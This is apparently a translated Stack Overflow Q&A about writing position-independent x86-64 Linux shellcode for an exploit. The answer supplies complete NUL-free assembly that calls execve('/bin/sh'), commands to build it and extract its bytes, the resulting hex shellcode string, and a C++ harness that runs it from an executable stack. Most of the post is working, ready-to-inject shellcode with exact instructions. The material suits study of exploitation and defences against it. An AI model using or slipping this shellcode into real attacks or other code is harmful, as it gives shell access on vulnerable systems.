指向不带 .data 部分的独立二进制代码中的字符串的指针

Pointer to string in stand-alone binary code without .data section

我正在尝试编写某种漏洞利用程序,但在将我的 asm 代码 运行 放在堆栈的任何位置时遇到问题。在这里:

BITS 64

global _start
_start:

  mov rax, 59

  jmp short file
  c1:
  pop rdi

  jmp short argv
  c2:
  pop rsi

  mov rdx, 0

  syscall
  ret

file:

  call c1
  db '/bin/sh',0

argv:

  call c2
  dq arg, 0  <- problem

arg:

  db 'sh',0

由于选定的行,此代码无法在堆栈的任何位置运行,因为此代码可以在堆栈的任何位置执行,因此 nasm 无法正确计算 arg 的地址。 (这是问题所在 的跟进。)

我已经用 jmp/call/pop 技巧轻松替换了字符串,但在指向字符串的指针方面仍然存在问题。

在 64 位代码中,您不需要 JMP/CALL/POP 方法,因为您可以使用 RIP 相对寻址。您的代码还会使用 mov rdx, 0 等指令在字符串中插入不需要的 NUL 字节。对于将作为字符串插入的 shell 代码,您需要使用一组不引入 NUL 的指令,因为这可能会过早地结束字符串,具体取决于它是如何注入到可利用程序中的。

execve 定义为:

execve - execute program

int execve(const char *pathname, char *const argv[],
           char *const envp[]);

argv is an array of argument strings passed to the new program. By convention, the first of these strings (i.e., argv[0]) should contain the filename associated with the file being executed. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. The argv and envp arrays must each include a null pointer at the end of the array.

如果不使用 envp,您可以传递 NULL。 argv 需要以 NULL 结尾的 list 字符串指针。在您的情况下,您正在尝试生成 C 代码的等价物:

#include <unistd.h>
int main()
{
    char pathname[] = "/bin/sh";
    char *argv[] = { pathname, NULL };
    execve (pathname, argv, NULL);
    return 0;
}

您完全可以在汇编代码的堆栈上完成此操作,可以 运行 作为 shell 代码。以下代码在堆栈上构建 /bin/sh 字符串并将 RDI(路径名)指向它。然后它通过将 NULL 压入堆栈并压入 RDI 中的值来构建以 NULL 终止的 argv 列表。 RSI 然后设置到堆栈上的 argv 列表。 RDX 已归零,因此 envp 列表为 NULL。然后调用 execve(系统调用 59)。我创建了一个 shellcode.asm 汇编文件:

BITS 64

global _start
_start:
    ; Build pathname on the stack
    sub rsp, 8                ; Allocate space for the pathname on the stack
    mov rdi, rsp              ; Set RDI to the space that will hold the pathname
    mov dword [rsp], '/bin'   ; Move the first 4 characters of the path into pathname
    mov dword [rsp+4], '/sh.' ; Move the last 4 characters of the path into pathname
                              ;     The '.' character will be replaced with a NUL byte
    xor eax, eax              ; Zero RAX
    mov [rsp+7], al           ; Terminate pathname by replacing the period with 0

    ; Build NULL terminated argv list on the stack
    push rax                  ; NULL terminator
    push rdi                  ; Pointer to pathname
    mov rsi, rsp              ; Point RSI to the argv array

    xor edx, edx              ; RDX = NULL(0) (we don't have an envp list)
    mov al, 59                ; 59 = execve system call number
    syscall                   ; Do the execve system call

将其构建为二进制可执行文件:

nasm -f elf64 shellcode.asm -o shellcode.o
gcc -nostartfiles shellcode.o -o shellcode

运行 ./shellcode 应该产生 Linux shell 提示。接下来将独立可执行文件转换为名为 shellcode.bin 的 shell 字符串二进制文件,然后使用 HEXDUMP:

将其转换为 HEX 字符串
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\""x" 1/1 "%02x" ""' shellcode.bin

HEXDUMP 的输出应该是:

\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05

注意:输出中没有NUL(\x00)

将字符串插入可利用的 C++ 程序调用 exploit.cpp:

int main(void)
{
    char shellstr[]="\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05";
    reinterpret_cast<void(*)()>(shellstr)();

    return 0;
}

编译成程序exploit,可执行栈:

g++ -Wl,-z,execstack exploit.cpp -o exploit

当 运行 和 ./exploit 时,它应该显示 Linux shell 提示。 strace ./exploit 应该为 execve 系统调用输出这个:

execve("/bin/sh", ["/bin/sh"], NULL) = 0